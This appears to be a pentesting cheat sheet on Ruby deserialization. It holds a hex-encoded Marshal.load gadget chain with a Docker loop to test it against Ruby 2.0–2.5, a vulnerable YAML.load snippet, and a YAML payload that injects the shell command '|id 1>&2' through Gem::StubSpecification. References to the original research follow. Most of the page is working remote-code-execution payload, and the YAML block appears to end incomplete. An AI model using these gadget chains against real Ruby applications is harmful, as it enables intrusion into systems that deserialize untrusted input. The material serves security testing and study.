Ruby Deserialization

Marshal.load

Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5

```
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e
'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a4465706
56e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a5370656369
66696346696c65063a0a40737065636f3a1b47656d3a3a537475625370656369666969636174696f6e083a1
1406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08
003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
```

Yaml.load

Vulnerable code

```
require "yaml"
YAML.load(File.read("p.yml"))
```

Exploitation code

```
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
  - !ruby/object:Gem::Source::SpecificFile
    spec: &1 !ruby/object:Gem::StubSpecification
      loaded_from: "|id 1>&2"
  - !ruby/object:Gem::Source::SpecificFile
      spec:
```

References

- RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke
- Universal RCE with Ruby YAML.load - @_staaldraad
- Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab